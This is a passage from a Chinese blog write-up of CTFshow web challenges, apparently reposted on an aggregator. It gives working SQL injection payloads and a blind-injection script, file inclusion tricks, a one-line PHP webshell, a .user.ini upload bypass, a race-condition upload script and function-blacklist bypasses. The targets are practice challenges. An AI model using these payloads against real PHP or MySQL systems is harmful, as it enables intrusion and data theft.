IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFSHOW WEB题目 -> 正文阅读

[PHP知识库]CTFSHOW WEB题目

web签到题

在这里插入图片描述

网页原代码中发现这个,base64解码就是flag

web2

在这里插入图片描述
这道题目就是最简单的SQL注入了
发现万能密码可以成功。
于是后台查询语句猜测是select ‘column’ from ‘table’ where username=’$_POST[]’&password=’$_POST[]’ limit 1,1

自己猜的熬,不一定是完全正确的。
这样的话直接闭合前面的单引号就行了。
之后就是
123’ or 1=1 union select 1,2,3#
123’ or 1=1 union select 1,database(),3#
123’ or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
123’ or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’),3#
123’ or 1=1 union select 1,(select group_concat(flag) from web2.flag),3#
在这里插入图片描述

web3

在这里插入图片描述
这道题目解法挺多的,我估计什么都没有过滤。
比如我们随便从网上,找一张图片。
在这里插入图片描述
比如就这一张图片,我们复制链接地址然后作为url的参数
在这里插入图片描述
结果出现这种情况,说明它包含进去了,那么我们可以远程文件包含的
第一种方法
在这里插入图片描述
说明php://input是可以的
第二种方法
日志包含
在这里插入图片描述
第三种方法
data协议
在这里插入图片描述

web4

这道题目肯定是有过滤或者禁用函数的
php://filter可以读一下源码,发现不可以
在这里插入图片描述
结果还是得日志包含
在这里插入图片描述
最后发现在上一层目录有flag.txt
在这里插入图片描述
如果实在找不到的话,可以自己写一个一句话木马传上去,利用蚁剑的提权找找。
在这里插入图片描述
其实也duck不必,一个find -name fl*就能找到。
顺便看看过滤了什么
在这里插入图片描述
原来是伪协议都给过滤了啊
本题目到此为止吧

web5

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

都是很基础的题目了
这道题目需要v1是字符,v2是数字,并且他们md5值相同
这里给出答案,参考一下
md5(‘240610708’) //0e462097431906509019562988736854
md5(‘QNKCDZO’) //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。

md5(‘240610708’)==md5(‘QNKCDZO’); //True
md5(‘240610708’)===md5(‘QNKCDZO’); //False

这样的对应数值还有: var_dump(md5(‘240610708’) == md5(‘QNKCDZO’));
var_dump(md5(‘aabg7XSs’) == md5(‘aabC9RqS’));
var_dump(sha1(‘aaroZmOk’) == sha1(‘aaK1STfY’));
var_dump(sha1(‘aaO8zKZF’) == sha1(‘aa3OFF9m’)); var_dump(‘0010e2’ ==
‘1e3’); var_dump(‘0x1234Ab’ == ‘1193131’); var_dump(‘0xABCdef’ == ’
0xABCdef’);

web6

一开始试了试万能密码
发现有过滤了,然后经过初步测试就是过滤空格
在这里插入图片描述
可见,把空格替换成换行符是可以的。
然后开始流程,233
admin’%09or%091=1%09union%09select%091,2,3#

admin’%09or%091=1%09union%09select%091,database(),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘web2’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=‘flag’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#
在这里插入图片描述
此题结束

web7

一开始没往SQL注入上去想,本意是以为文件包含,浪费了不少时间。
经过初步测试,是过滤空格,我喜欢用%09来代替
做完之后发现网上的wp大部分是盲注,其实duck不必
在这里插入图片描述
人家是可以回显的。
并且我猜测后台查询语句应该会是
select 文章题目 文章内容 from table where id=’$_GET[id]’
然后走流程
1%27%09or%091=1%09union%09select%091,database(),3#

1%27%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#

没想到我直接select%09*from%09flag试试直接出来了。
中间有一个问题就是table_schema=database()可以,但是换成’web7’就没有回显了,奇了个怪的。
本题到此为止。

web8

这个题自己做了半天,完全是因为一些奇奇怪怪的问题。
写脚本的时候,用提交参数的方式不行,后来出来用regexp匹配的时候又有了一堆问题,|,^,还有大小写都可以匹配,然后自己又过滤了一遍。最后发现用了ascii()这个函数可以解决乱匹配成功的问题,不知道为什么。
附上我的垃圾脚本

import requests
TableName=''
for i in range(1,50):
    for j in range(45,127):
        url=f"http://d8feef23-5c02-41b3-9a80-6eb6d64d8a39.challenge.ctf.show:8080/index.php?id=0%09or%09(1=(substr((select%09group_concat(flag)from%09web8.flag)from%09{i}%09for%091)regexp(chr({j}))))#"
        r=requests.get(url)
        if "A Child's Dream of a Star" in r.text:
            if(chr(j)=='|'or chr(j)=='^'or chr(j)=='.'or (j>=65 and j<=90)):
                continue
            TableName+=chr(j)
            print(TableName)

web9

一开始试了试没有什么头绪,就去找找wp看,发现有源码泄露。




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>


看了源码后,那么就很明显了啊。
这考察的是MD5啊,直接密码为ffifdyop得到答案。
这个知识点就不细说了,网上随便都是,大体原理就是ffifdyop的原始二进制字段中含有’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c, 恰构成了SQL注入漏洞,password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

web10

点击取消有一个index.phps文件,这是什么操作。




<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>


说实话,这道题看了之后,发现最后一层我 绕不过去,最后原来是一个知识盲点。
学到一个。
利用with rollup
https://blog.csdn.net/qq_31960623/article/details/115917641
自己研究研究,不是很复杂。
在这里插入图片描述
本题结束。

web11



<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>


看源码是需要输入的password等于$_SESSION[‘password’] PHP session工作原理
以下以cookie传输PHPSESSID描述。

  1. 客户端请求一个php的服务端地址。
  2. 服务端收到请求,此次php脚本中包含session_start()。
  3. 服务端会生成一个PHPSESSID。(默认session存储方式为session.save_handler=files,文件形式存储。生成的session文件名规则即为sess_PHPSESSID,session文件存在session.save_path中。)
  4. 服务端响应首部Response Headers:Set-Cookie:PHPSESSID=37vjjasgjdv2ouk1uomhgqkv50;
    path=/。在客户端生成一个cookie保存此PHPSESSID。
  5. 此时,客户端的cookie里面包含了PHPSESSID,之后客户端的每次请求首部Request Headers:Cookie:PHPSESSID=37vjjasgjdv2ouk1uomhgqkv50。服务端之后每次接收到客户端的请求就都能根据这个PHPSESSID来找到服务端的session文件,通过对这个session文件的读写操作即实现了session的超全局变量属性。

如果客户端禁用了cookie,由于无法使用cookie传递PHPSESSID,那么客户端每次请求,服务端都会重新建立一个session文件,而无法通过通过PHPSESSID来重用session文件,所以session也就失效了。
这种情况可以设置session.use_trans_sid来传输PHPSESSID,具体实现方式与cookie的区别就是将PHPSESSID通过HTTP的GET传输。每次请求的地址里面都会补全PHPSESSID参数”url?PHPSESSID=37vjjasgjdv2ouk1uomhgqkv50”来实现。
PHP是怎样识别不同的SESSION的呢?

每一次SESSION会话都有一个SESSION
ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie(当然,这个名称是可以更改的)。

浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。

网上的答案都是找到在cookie中PHPSESSID然后把值该为空,找了半天没有讲为什么的。
我个人觉得是因为,把PHPSESSID改为空之后,PHP不知道给用哪一个session文件了,于是这关我
$_SEESION[‘password’]什么事?哈哈哈,我又不懂了,即使不知道用哪个session了,也无法改变$_SESSION[‘password’]。以后会了,在来说吧。

web12

在这里插入图片描述
右键源代码,然后看到提示是?cmd=
我一开始是以为命令执行呢,结果是代码执行。试了试phpinfo();发现是可以的,然后查看disable_func
那一部分,结果给我禁用了一大堆。
我发现incldue没有禁用,唉,舒服了。然后?cmd=include($_POST[1]);
或者是?cmd=include($_POST[1])?>然后1=/etc/paswd,结果可行。
接着用php://filter协议读了读index.php看了看源码

<?php
error_reporting(0);
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_web12</title>
</head>
<body>
    <center>
    <h2>ctf.show_web12</h2>
    <h4>where is the flag?</h4>
    <!-- hit:?cmd= -->
    <?php
        $cmd=$_GET['cmd'];
        eval($cmd);
    
            ?>

</body>
</html>


没有什么东西呀。我想起来scandir(),没有禁用,于是发现了这个,看了flag就在这个一长串的文件里了。
在这里插入图片描述
我就随手一试就出来了,离谱
在这里插入图片描述
伪协议也可以读出来的
在这里插入图片描述
骚姿势
在这里插入图片描述
在这里插入图片描述
这道题目用glob当然也是可以的,glob姿势也很多,本题结束

红包题目第二弹

一看原来是和上一题一模一样的,哦了。
本来试试?cmd=phpinfo();
结果给我出来一堆厚厚waf

  <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

可以看出禁用了一堆符号数字字母除了一个p,真的是只剩个p了。
这个题目让我想起了一个文章,无字母数字的命令执行(ctfshow web入门 55)
这样的话我们就可以利用这个.来做文章了。
这道题目其实有很多的wp了,我也就不多说了。
这里我就进行简单的知识点概括
首先是
?><?=`ls`;
解释一下,在这里呢,<?=\`ls\`相当于echo(\`ls\`);,但是呢<?=又是一个短标签,在eval中相当于一段php代码,你得要把前面的<?php给闭合了啊,所以会有一个?>,仅是个人理解。

再解释一下这个点
linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。就是可以执行shell文件。

最后是你上传的文件啊,这个东西,你上传的文件会被存储到一个地方,上传完成后,就会被删除,所以这道题我觉的也是有条件竞争的。然后这个地方,在这个题目是/tmp/php???,这五个问号是五个字符,所以用通配符,来匹配。更详细的就不说了。
在这里插入图片描述
此题结束。

web13

在这里插入图片描述
看到这个画面,我还以为是上一道题目的续作,然后看源码又什么都没有,那就随便上传一个文件把,
结果文件上传成功。原来是一个文件上传题目啊。
一开始它限制了文件长度,我修改了一句话木马为<?=eval($_POST[1])?>
绝对短小精悍,然后果不其然后缀名不行,然后发现pht可以上传上去了,结果它不解析pht文件给我下载回来了,我傻了。
然后又用phtml可以成功,但是想到phtml内容太长就算了吧。
看来只好上传.htaccess或者.user.ini了。
这两个东西我就不科普了,因为服务器是NGINX,所以用.user.ini了。

auto_prepend_file:在页面顶部加载文件

auto_append_file:在页面底部加载文件

把内容修改为
auto_append_file=1.txt
作用就不多说了,就是在同目录下,每个文件的页面底部加上该1.txt的内容。
这样的话,只要同目录下有一个php文件就可以了,于是我就去扫目录啊,结果有源码泄露啊,我也懒得看了,都到这一步了。
扫出来有upload.php和index.php。然后就可以为所欲为了。
在这里插入图片描述
我一看disable_functions,好家伙,估计蚁剑都给干废了。
那就不用蚁剑了,自己找吧。
发现它没有禁用include,那就好办了.
print_r(scandir(’.’));扫出来这些东西。
在这里插入图片描述
flag就在这个一大串了吧。
利用前面那个题目的方法,show_source highlight_file 伪协议,都可以.
此题结束

web14

include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

其实就是因为没有break的原因,所以你输入c=3的时候就继续往下走,在这个case:6000000这里输出了$url。然后我们来到了这里,提示有一个admin
在这里插入图片描述
在底下的源码是告诉了waf的
在这里插入图片描述

输入1是返回admin,输入2是返回figy什么的。
接着输入2/2发现返回amdin所以确定是数字型。
这个waf也挺简单的
开始走流程

-1/**/union/**/select/**/1测试发现只有个字段
-1/**/union/**/select/**/database()数据库为web
-1/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database())表为content
-1/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content')字段有id,username,password
先试试username
-1/**/union/**/select/**/(select/**/group_concat(username)/**/from/**/`content`)这里面admin,gtf1y,Wow这三个值
再试试password
-1/**/union/**/select/**/(select/**/group_concat(password)/**/from/**/`content`)发现了flag is not here!,wow,you can really dance,tell you a secret,secret has a secret...这个玩意
就会整活....

我觉的可以试试无列名注入,也可以试试报错查询

1/**/or/**/extractvalue(1,select)

在这里插入图片描述

-1/**/union/**/select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)a

在这里插入图片描述
这道题目看来flag在那个secret.php中。

一开始我是打算写个马进去,但是不知道为啥,写不进去。所以只好用load_file了。

 -1/**/union/**/select/**/load_file('/var/www/html/secret.php')

它又给了一段代码

在这里插入图片描述

我就试试直接读这个/real_flag_is_here,结果还真出来了,hhh。
在这里插入图片描述
本题结束。

web红包题第六弹

一开始有一个提示:不是SQL注入,找到关键源代码。
然后就开始扫描目录。
得到了web.zip

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
 
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
 
    return $ret;
 
}
if(md5(date("i")) === $token){
	
	$receiveFile = 'flag.dat';
	receiveStreamFile($receiveFile);
	if(md5_file($receiveFile)===md5_file("key.dat")){
		if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
			$ret['success']="1";
			$ret['msg']="人脸识别成功!$flag";
			$ret['error']="0";
			echo json_encode($ret);
			return;
		}

			$ret['errormsg']="same file";
			echo json_encode($ret);
			return;
	}
			$ret['errormsg']="md5 error";
			echo json_encode($ret);
			return;
} 

$ret['errormsg']="token error";
echo json_encode($ret);
return;

慢慢读下来,第一个函数receiveStreamFile就是接受文件用的,保证文件能够接收到。
关于php://input和这个$GLOBALS[‘HTTP_RAW_POST_DATA’]就不细说了,有心的同学自己查资料吧,
继续往下读,md5(date(“i”)) === $token。
这个date(“i”)是表示当前分钟的意思啊,然后在md5加密让他和$token相等。
后来我才知道这个$token是可以上传的。
然后就是接受我们发送的文件了,再判断两个文件的md5值是否相等,而且sha1值不同。这个容易解决,key.dat我们可以直接下载下来。然后用相关工具制造一个md5相同但是sha1不同的文件。把它上传就可以了。到了这一步,后面的代码就没有什么用了。
应该是通过判断$ret的内容,来输出flag。因为在网页右键查看源码,还有一段信息。

function login(s){  
		var u=document.getElementById("username").value;
		var p=document.getElementById("password").value;
        var xhr = new XMLHttpRequest();  
        xhr.open('GET', "login.php?u="+u+"&p="+p);  
        xhr.responseType = 'arraybuffer';  
        xhr.onreadystatechange = function getPdfOnreadystatechange(e) {  
            if (xhr.readyState === 4) {  
              if (xhr.status === 200) {  
                 var data = (xhr.mozResponseArrayBuffer || xhr.mozResponse ||  
                            xhr.responseArrayBuffer || xhr.response);   
				if(data){
					ctfshow(s,data);
				}
              } 
            }  
        };  
        xhr.send(null);  
		}  
		function ctfshow(token,data){

			var oReq = new XMLHttpRequest();
			oReq.open("POST", "check.php?token="+token+"&php://input", true);
			oReq.onload = function (oEvent) {
				if(oReq.status===200){
						var res=eval("("+oReq.response+")");
						if(res.success ==1 &&res.error!=1){
							alert(res.msg);
							return;
						}
						if(res.error ==1){
							alert(res.errormsg);
							return;
						}
				}
				return;
			};
			oReq.send(data);
		}

然后理论完成,就开始实践。

import requests
import time
import hashlib
import threading

def post(data):
	try:
		r=requests.post(url,data=data)
		if "ctfshow" in r.text:
			print(r.text)
	except Exception as e:
		pass

mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://ce61acc9-c947-4ac4-9d2c-3b81b8708df5.challenge.ctf.show:8080/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
    data1=f.read()
with open('2.dat','rb') as f:
    data2=f.read()
for i in range(30):
	threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
	threading.Thread(target=post,args=(data2,)).start()

执行这个代码,就会得到flag了,有心的小伙伴仔细读一读,也不是很复杂。本题结束。

web红包题第七弹

不会做,嘿嘿

web萌新专属红包题

这个题目当时没做,现在做没啥意思。没wp做不了啊。看着wp给ak了算了。

CTFshow web1

这道题目的思路很清奇。
这里附上师傅的文章吧,
https://blog.csdn.net/miuzzx/article/details/104514442

web game-gyctf web2

最后在补上。

http://www.iricky.ltd/2021/03/30/80.html

web15 Fishman

划了

红包题第九弹

非常基本的题目,就是打无密码的mysql

用工具就完事了
这个和web入门的ssrf系列的最后几个题目不敢说很像,只能说一模一样。

红包题 葵花宝典

注册就给flag

红包题 辟邪剑谱

【nl】难了

Linux中可以将文件名作为函数和参数,通过星号通配执行

新建一个名称是nl的文件作为指令

?1=>nl

将右尖括号左侧的内容写入右侧文件,因此相当于新建了一个叫nl的空文件

?1=*>z

*代表当前文件夹下的所有文件
*>z就是就是把当前文件夹的文件显示在z中
这样就只有文件z的内容就是 nl index.php

一切看起来都那么合情合理

这道题目和web入门反序列化系列的一个题目也是一个样的,考察的内容是php的session反序列化漏洞。
基础知识清看这里
https://blog.csdn.net/qq_46091464/article/details/108006422
然后我们搞懂了session 反序列化的漏洞原理之后就好办了。
我们只需要利用inc/inc.php中的user类的析构函数里的file_put_contents就可以了。
我觉的这个文章很不错的https://blog.csdn.net/qq_46091464/article/details/108764180
比我自己写好多了。

红包题 耗子尾汁

从其他师傅那里学来的知识点

在php当中默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

一进来有一段代码

error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
    $dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
    $a = strtolower($a);
    if (!in_array($a,$dis,true)) {
        forward_static_call_array($a,$b);
    }else{
        echo 'hacker';
    }
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";

可以看出它黑名单里有一堆函数啊
如果a里面有黑名单的内容就会输出hacker。
解一:
a=\system&b[]=ls
a=\system&b[]=cat flag.php
解二:
套娃
a=forward_static_call_array&b[0]=system&b[1][0]=ls

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-10 13:12:35  更:2021-08-10 13:12:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 4:01:25-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码